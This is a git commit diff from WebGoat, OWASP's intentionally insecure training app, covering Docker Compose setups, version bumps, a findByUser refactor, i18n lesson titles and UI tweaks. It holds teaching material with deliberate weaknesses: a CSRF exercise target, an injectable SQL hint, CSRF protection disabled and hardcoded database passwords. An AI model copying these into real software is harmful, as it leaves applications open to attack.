merging from release branch ... PR's and Nanne's recent work

This commit is contained in:
Jason 2018-05-02 14:27:44 -06:00
commit 927bbad488
87 changed files with 542 additions and 174 deletions

1
.gitignore vendored
View File

@ -42,3 +42,4 @@ webgoat-lessons/**/target
**/.DS_Store
webgoat-server/mongo-data/*
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
/.sonatype

View File

@ -40,6 +40,15 @@ docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
```
If you want to keep the database between Docker sessions you need to map the WebGoat data directory to a
folder on the host system as follows:
```Shell
docker run -p 8080:8080 -it -v /tmp/webgoat-data:/home/webgoat/.webgoat-${VERSION} webgoat/webgoat-8.0 /home/webgoat/start.sh
```
where `${VERSION}` is for example `v8.0.0.M14`. The data will now be stored in `/tmp/webgoat-data` on your host system.
Wait for the Docker container to start, and run `docker ps` to verify it's running.
- If you are using `docker-machine`, verify the machine IP using `docker-machine env`

View File

@ -0,0 +1,35 @@
version: '2.0'
services:
webgoat:
image: webgoat/webgoat-8.0
user: webgoat
environment:
- WEBWOLF_HOST=webwolf
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
- spring.datasource.username=webgoat
- spring.datasource.password=webgoat
- spring.datasource.driver-class-name=org.postgresql.Driver
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
ports:
- "8080:8080"
webwolf:
image: webgoat/webwolf
environment:
- spring.datasource.url=jdbc:postgresql://webgoat_db:5432/webgoat
- spring.datasource.username=webgoat
- spring.datasource.password=webgoat
- spring.datasource.driver-class-name=org.postgresql.Driver
- spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQL94Dialect
ports:
- "8081:8081"
db:
container_name: webgoat_db
image: postgres:latest
environment:
- POSTGRES_PASSWORD=webgoat
- POSTGRES_USER=webgoat
- POSTGRES_DB=webgoat
ports:
- "5432:5432"

View File

@ -1,15 +1,28 @@
version: '2.0'
version: '2.1'
services:
webgoat:
build: webgoat-server/
command: "sh /home/webgoat/start.sh"
image: webgoat/webgoat-8.0
environment:
- WEBWOLF_HOST=webwolf
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports:
- "8080:8080"
webwolf:
build: webwolf/
command: "sh /home/webwolf/start.sh"
depends_on:
- webgoat
- db
webwolf:
image: webgoat/webwolf
environment:
- spring.datasource.url=jdbc:hsqldb:hsql://webgoat_db:9001/webgoat
ports:
- "8081:8081"
depends_on:
- db
db:
image: blacklabelops/hsqldb
container_name: webgoat_db
environment:
- HSQLDB_TRACE=false
- HSQLDB_SILENT=true
- HSQLDB_DATABASE_NAME=webgoat
- HSQLDB_DATABASE_ALIAS=webgoat

View File

@ -5,7 +5,7 @@
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<packaging>pom</packaging>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
<name>WebGoat Parent Pom</name>
<description>Parent Pom for the WebGoat Project. A deliberately insecure Web Application</description>
@ -20,7 +20,7 @@
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.9.RELEASE</version>
<version>1.5.12.RELEASE</version>
</parent>
<licenses>
@ -135,7 +135,7 @@
<gatling-plugin.version>2.2.4</gatling-plugin.version>
<guava.version>18.0</guava.version>
<h2.version>1.4.190</h2.version>
<hsqldb.version>2.3.2</hsqldb.version>
<hsqldb.version>2.3.4</hsqldb.version>
<j2h.version>1.3.1</j2h.version>
<jackson-core.version>2.6.3</jackson-core.version>
<jackson-databind.version>2.6.3</jackson-databind.version>

View File

@ -20,3 +20,21 @@ elif [ ! -z "${TRAVIS_TAG}" ]; then
else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
fi
export REPO=webgoat/webwolf
cd ..
cd webwolf
ls target/
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
docker push $REPO
elif [ ! -z "${TRAVIS_TAG}" ]; then
# Creating a tag build we push it to Docker with that tag
docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
docker push $REPO
else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
fi

View File

@ -10,7 +10,7 @@
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<profiles>

View File

@ -35,6 +35,7 @@ import com.google.common.collect.Sets;
import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor;
import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.asciidoc.WebGoatVersionMacro;
import org.owasp.webgoat.asciidoc.WebWolfMacro;
import org.owasp.webgoat.i18n.Language;
import org.thymeleaf.TemplateProcessingParameters;
@ -86,6 +87,7 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
StringWriter writer = new StringWriter();
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));

View File

@ -130,6 +130,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
@Bean
public PluginMessages pluginMessages(Messages messages, Language language) {
PluginMessages pluginMessages = new PluginMessages(messages, language);
pluginMessages.setDefaultEncoding("UTF-8");
pluginMessages.setBasenames("i18n/WebGoatLabels");
return pluginMessages;
}
@ -142,6 +143,7 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter {
@Bean
public Messages messageSource(Language language) {
Messages messages = new Messages(language);
messages.setDefaultEncoding("UTF-8");
messages.setBasename("classpath:i18n/messages");
return messages;
}

View File

@ -0,0 +1,23 @@
package org.owasp.webgoat.asciidoc;
import org.asciidoctor.ast.AbstractBlock;
import org.asciidoctor.extension.InlineMacroProcessor;
import org.springframework.core.env.Environment;
import org.springframework.util.StringUtils;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.util.Map;
public class WebGoatVersionMacro extends InlineMacroProcessor {
public WebGoatVersionMacro(String macroName, Map<String, Object> config) {
super(macroName, config);
}
@Override
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
return EnvironmentExposure.getEnv().getProperty("webgoat.build.version");
}
}

View File

@ -10,6 +10,12 @@ import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.util.Map;
/**
* Usage in asciidoc:
* <p>
* webWolfLink:here[] will display a href with here as text
* webWolfLink:landing[noLink] will display the complete url, for example: http://WW_HOST:WW_PORT/landing
*/
public class WebWolfMacro extends InlineMacroProcessor {
public WebWolfMacro(String macroName, Map<String, Object> config) {
@ -20,9 +26,17 @@ public class WebWolfMacro extends InlineMacroProcessor {
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
Environment env = EnvironmentExposure.getEnv();
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
if (displayCompleteLinkNoFormatting(attributes)) {
return hostname + (hostname.endsWith("/") ? "" : "/") + target;
}
return "<a href=\"" + hostname + "\" target=\"_blank\">" + target + "</a>";
}
private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {
return attributes.values().stream().filter(a -> a.equals("noLink")).findFirst().isPresent();
}
/**
* Look at the remote address from received from the browser first. This way it will also work if you run
* the browser in a Docker container and WebGoat on your local machine.

View File

@ -55,7 +55,7 @@ public abstract class AssignmentEndpoint extends Endpoint {
//// TODO: 11/13/2016 events better fit?
protected AttackResult trackProgress(AttackResult attackResult) {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (userTracker == null) {
userTracker = new UserTracker(webSession.getUserName());
}

View File

@ -1,11 +1,9 @@
package org.owasp.webgoat.lessons;
import com.google.common.collect.Lists;
import lombok.*;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.OneToMany;
import javax.persistence.Transient;
import javax.persistence.*;
import java.util.List;
/**
@ -37,19 +35,30 @@ import java.util.List;
* @version $Id: $Id
* @since November 25, 2016
*/
@AllArgsConstructor
@RequiredArgsConstructor
@NoArgsConstructor
@Getter
@EqualsAndHashCode
@Entity
public class Assignment {
@NonNull
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
private String name;
@NonNull
private String path;
@Transient
private List<String> hints;
private Assignment() {
//Hibernate
}
public Assignment(String name, String path) {
this(name, path, Lists.newArrayList());
}
public Assignment(String name, String path, List<String> hints) {
this.name = name;
this.path = path;
this.hints = hints;
}
}

View File

@ -73,7 +73,7 @@ public class LessonMenuService {
List<LessonMenuItem> showLeftNav() {
List<LessonMenuItem> menu = new ArrayList<>();
List<Category> categories = course.getCategories();
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
for (Category category : categories) {
LessonMenuItem categoryItem = new LessonMenuItem();

View File

@ -40,9 +40,10 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
@ResponseBody
public Map getLessonInfo() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
Map json = Maps.newHashMap();
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
if (webSession.getCurrentLesson() != null) {
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
String successMessage = "";
boolean lessonCompleted = false;
if (lessonTracker != null) {
@ -51,6 +52,7 @@ public class LessonProgressService {
}
json.put("lessonCompleted", lessonCompleted);
json.put("successMessage", successMessage);
}
return json;
}
@ -63,7 +65,7 @@ public class LessonProgressService {
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
@ResponseBody
public List<LessonOverview> lessonOverview() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
AbstractLesson currentLesson = webSession.getCurrentLesson();
List<LessonOverview> result = Lists.newArrayList();
if ( currentLesson != null ) {

View File

@ -32,6 +32,7 @@ import com.google.common.collect.Lists;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.Setter;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
@ -57,6 +58,7 @@ public class ReportCardService {
private final WebSession webSession;
private final UserTrackerRepository userTrackerRepository;
private final Course course;
private final PluginMessages pluginMessages;
/**
* Endpoint which generates the report card for the current use to show the stats on the solved lessons
@ -64,7 +66,7 @@ public class ReportCardService {
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
@ResponseBody
public ReportCard reportCard() {
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
List<AbstractLesson> lessons = course.getLessons();
ReportCard reportCard = new ReportCard();
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
@ -74,7 +76,7 @@ public class ReportCardService {
for (AbstractLesson lesson : lessons) {
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
LessonStatistics lessonStatistics = new LessonStatistics();
lessonStatistics.setName(lesson.getTitle());
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts());
lessonStatistics.setSolved(lessonTracker.isLessonSolved());
reportCard.lessonStatistics.add(lessonStatistics);

View File

@ -59,7 +59,7 @@ public class RestartLessonService {
AbstractLesson al = webSession.getCurrentLesson();
log.debug("Restarting lesson: " + al);
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
userTracker.reset(al);
userTrackerRepository.save(userTracker);
}

View File

@ -47,8 +47,11 @@ import java.util.stream.Collectors;
*/
@Entity
public class LessonTracker {
@Getter
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
@Getter
private String lessonName;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private final Set<Assignment> solvedAssignments = Sets.newHashSet();

View File

@ -38,7 +38,7 @@ public class Scoreboard {
List<WebGoatUser> allUsers = userRepository.findAll();
List<Ranking> rankings = Lists.newArrayList();
for (WebGoatUser user : allUsers) {
UserTracker userTracker = userTrackerRepository.findOne(user.getUsername());
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
}
return rankings;

View File

@ -50,6 +50,9 @@ import java.util.stream.Collectors;
public class UserTracker {
@Id
@GeneratedValue(strategy = GenerationType.AUTO)
private Long id;
@Column(name = "username")
private String user;
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();

View File

@ -8,5 +8,6 @@ import org.springframework.data.jpa.repository.JpaRepository;
*/
public interface UserTrackerRepository extends JpaRepository<UserTracker, String> {
UserTracker findByUser(String user);
}

View File

@ -3,9 +3,12 @@ server.error.path=/error.html
server.session.timeout=600
server.contextPath=/WebGoat
server.port=8080
server.address=127.0.0.1
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat
spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat
spring.jpa.hibernate.ddl-auto=update
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
logging.level.org.springframework=WARN
@ -19,9 +22,10 @@ security.enable-csrf=false
spring.resources.cache-period=0
spring.thymeleaf.cache=false
webgoat.start.hsqldb=true
webgoat.clean=false
webgoat.server.directory=${user.home}/.webgoat/
webgoat.user.directory=${user.home}/.webgoat/
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/
webgoat.build.version=@project.version@
webgoat.build.number=@build.number@
webgoat.email=webgoat@owasp.org

View File

@ -1066,6 +1066,7 @@ span.show-next-page, span.show-prev-page {
/* ATTACK DISPLAY */
.attack-container {
position: relative;
background-color: #f1f1f1;
border: 2px solid #a66;
border-radius: 12px;
@ -1151,3 +1152,15 @@ div.captured-flag {
width: 1268px;
margin-bottom: 20px;
}
#content {
position:relative;
}
.webwolf-enabled {
position:absolute;
top: 10px;
right: 25px;
width: 42px;
height: 47px;
}

View File

@ -2,28 +2,32 @@ define(['jquery',
'underscore',
'backbone',
'goatApp/model/MenuModel'],
function($,_,Backbone,MenuModel) {
function ($, _, Backbone, MenuModel) {
return Backbone.Collection.extend({
model: MenuModel,
url:'service/lessonmenu.mvc',
url: 'service/lessonmenu.mvc',
initialize: function () {
var self = this;
this.fetch();
setInterval(function () {
this.fetch()
}.bind(this), 5000);
},
onDataLoaded: function() {
onDataLoaded: function () {
this.trigger('menuData:loaded');
},
fetch: function() {
var self=this;
Backbone.Collection.prototype.fetch.apply(this,arguments).then(
function(data) {
fetch: function () {
var self = this;
Backbone.Collection.prototype.fetch.apply(this, arguments).then(
function (data) {
this.models = data;
self.onDataLoaded();
}
);
}
});
});
});

View File

@ -67,7 +67,7 @@ define(['jquery',
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
success: function (data) {
//devs leave stuff like this in all the time
console.log('phone home said ' + data);
console.log('phone home said ' + JSON.stringify(data));
}
});
}

View File

@ -25,6 +25,9 @@ define(['jquery',
self.navToPage(page);
}
});
setInterval(function () {
this.updatePagination();
}.bind(this), 5000);
},
findPage: function(assignment) {
@ -60,7 +63,9 @@ define(['jquery',
},
updatePagination: function() {
if ( this.paginationControlView != undefined ) {
this.paginationControlView.updateCollection();
}
},
getCurrentPage: function () {
@ -146,14 +151,23 @@ define(['jquery',
return false;
},
removeSlashesFromJSON: function(str) {
// slashes are leftover escapes from JSON serialization by server
// for every two char sequence starting with backslash,
// replace them in the text with second char only
return str.replace(/\\(.)/g, "$1");
},
renderFeedback: function(feedback) {
this.$curFeedback.html(polyglot.t(feedback) || "");
var s = this.removeSlashesFromJSON(feedback);
this.$curFeedback.html(polyglot.t(s) || "");
this.$curFeedback.show(400)
},
renderOutput: function(output) {
this.$curOutput.html(polyglot.t(output) || "");
var s = this.removeSlashesFromJSON(output);
this.$curOutput.html(polyglot.t(s) || "");
this.$curOutput.show(400)
},

View File

@ -76,24 +76,25 @@
</a>
</li>
<li role="presentation" class="divider"></li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#"
th:text="#{version}">Version: <span
th:text="${@environment.getProperty('webgoat.build.version')}"></span></a>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">
<span th:text="#{version}">Version:</span><span>: </span>
<span th:text="${@environment.getProperty('webgoat.build.version')}"></span></a>
</li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#"
th:text="#{build}">Build:
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">
<span th:text="#{build}">Build:</span><span>: </span>
<span th:text="${@environment.getProperty('webgoat.build.number')}"></span></a></li>
</ul>
</div>
<div style="display:inline" id="settings">
<!--<button type="button" id="admin-button" class="btn btn-default right_nav_button" title="Administrator">-->
<!--<i class="fa fa-cog"></i>-->
<!--</button>-->
<a href="#reportCard">
<button type="button" id="report-card-button" class="btn btn-default right_nav_button button-up"
th:title="#{report.card}">
<a href="#reportCard"><i class="fa fa-bar-chart-o"></i></a>
<i class="fa fa-bar-chart-o"></i>
</button>
</a>
<!--<button type="button" id="user-management" class="btn btn-default right_nav_button"-->
<!--title="User management">-->
<!--<i class="fa fa-users"></i>-->

View File

@ -62,7 +62,7 @@ public class AssignmentEndpointTest {
public void init(AssignmentEndpoint a) {
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
ReflectionTestUtils.setField(a, "webSession", webSession);

View File

@ -63,7 +63,7 @@ public class LessonMenuServiceTest {
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
.andExpect(status().isOk())
@ -81,7 +81,7 @@ public class LessonMenuServiceTest {
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))

View File

@ -72,7 +72,7 @@ public class LessonProgressServiceTest {
@Before
public void setup() {
Assignment assignment = new Assignment("test", "test");
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
when(websession.getCurrentLesson()).thenReturn(lesson);
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));

View File

@ -6,6 +6,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.i18n.PluginMessages;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession;
@ -40,10 +41,13 @@ public class ReportCardServiceTest {
private UserTrackerRepository userTrackerRepository;
@Mock
private WebSession websession;
@Mock
private PluginMessages pluginMessages;
@Before
public void setup() {
this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course)).build();
this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build();
when(pluginMessages.getMessage(anyString())).thenReturn("Test");
}
@Test
@ -53,7 +57,7 @@ public class ReportCardServiceTest {
when(course.getTotalOfLessons()).thenReturn(1);
when(course.getTotalOfAssignments()).thenReturn(10);
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
.andExpect(status().isOk())

View File

@ -62,7 +62,7 @@ public class UserTrackerRepositoryTest {
userTrackerRepository.save(userTracker);
userTracker = userTrackerRepository.findOne("test");
userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
}
@ -77,7 +77,7 @@ public class UserTrackerRepositoryTest {
userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findOne("test");
userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
}
@ -90,7 +90,7 @@ public class UserTrackerRepositoryTest {
userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findOne("test");
userTracker = userTrackerRepository.findByUser("test");
userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker);

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>

View File

@ -46,7 +46,6 @@ public class Flag extends Endpoint {
@PostConstruct
public void initFlags() {
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
}
@Override

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -56,7 +56,7 @@ public class ClientSideFiltering extends NewLesson {
@Override
public String getTitle() {
return "Client side filtering";
return "client.side.filtering.title";
}
@Override

View File

@ -1,3 +1,4 @@
client.side.filtering.title=Client side filtering
ClientSideFilteringSelectUser=Select user:
ClientSideFilteringUserID=User ID
ClientSideFilteringFirstName=First Name

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<build>
<plugins>

View File

@ -60,7 +60,7 @@ public class CrossSiteScripting extends NewLesson {
@Override
public String getTitle() {
return "Cross Site Scripting";
return "xss.title";
}
@Override

View File

@ -1,4 +1,5 @@
# XSS success, failure messages and hints
xss.title=Cross Site Scripting
xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue.
xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy)
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -33,7 +33,7 @@ public class CSRFLogin extends AssignmentEndpoint {
}
private void markAssignmentSolvedWithRealUser(String username) {
UserTracker userTracker = userTrackerRepository.findOne(username);
UserTracker userTracker = userTrackerRepository.findByUser(username);
userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
userTrackerRepository.save(userTracker);
}

View File

@ -8,11 +8,11 @@ In this assignment you need to achieve to POST the following JSON message to our
[source]
----
POST /csrf/feedback HTTP/1.1
POST /csrf/feedback/message HTTP/1.1
{
"name" : "WebGoat",
"email" : "webgoat@webgoat.org"
"email" : "webgoat@webgoat.org",
"content" : "WebGoat is the best!!"
}
----

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<dependencies>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -8,6 +8,7 @@ http-basics.hints.http_basic_quiz.1=Turn on Show Parameters or other features
http-basics.hints.http_basic_quiz.2=Try to intercept the request with <a href='https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project' title='Link to ZAP'>OWASP ZAP</a>
http-basics.empty=Try again, name cannot be empty.
http-basics.reversed=The server has reversed your name: {0}
http-basics.close=Try again: but this time enter a value before hitting go.

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<dependencies>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<dependencies>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -5,12 +5,12 @@
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<packaging>pom</packaging>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<modules>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
</project>

View File

@ -53,7 +53,7 @@ public class SqlInjectionAdvanced extends NewLesson {
@Override
public String getTitle() {
return "SQL Injection (advanced)";
return "sql.advanced.title";
}
@Override

View File

@ -60,7 +60,7 @@ public class SqlInjection extends NewLesson {
@Override
public String getTitle() {
return "SQL Injection";
return "sql.injection.title";
}
@Override

View File

@ -53,7 +53,7 @@ public class SqlInjectionMitigations extends NewLesson {
@Override
public String getTitle() {
return "SQL Injection (mitigations)";
return "sql.mitigation.title";
}
@Override

View File

@ -1,6 +1,12 @@
#StringSqlInjection.java
StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query.
EnterLastName=Enter your last name:
sql.injection.title=SQL Injection
sql.mitigation.title=SQL Injection (mitigation)
sql.advanced.title=SQL Injection (advanced)
NoResultsMatched=No results matched. Try Again.
SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command.
SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName"

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version>
<version>v8.0.0.M14</version>
</parent>
<dependencies>
<dependency>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
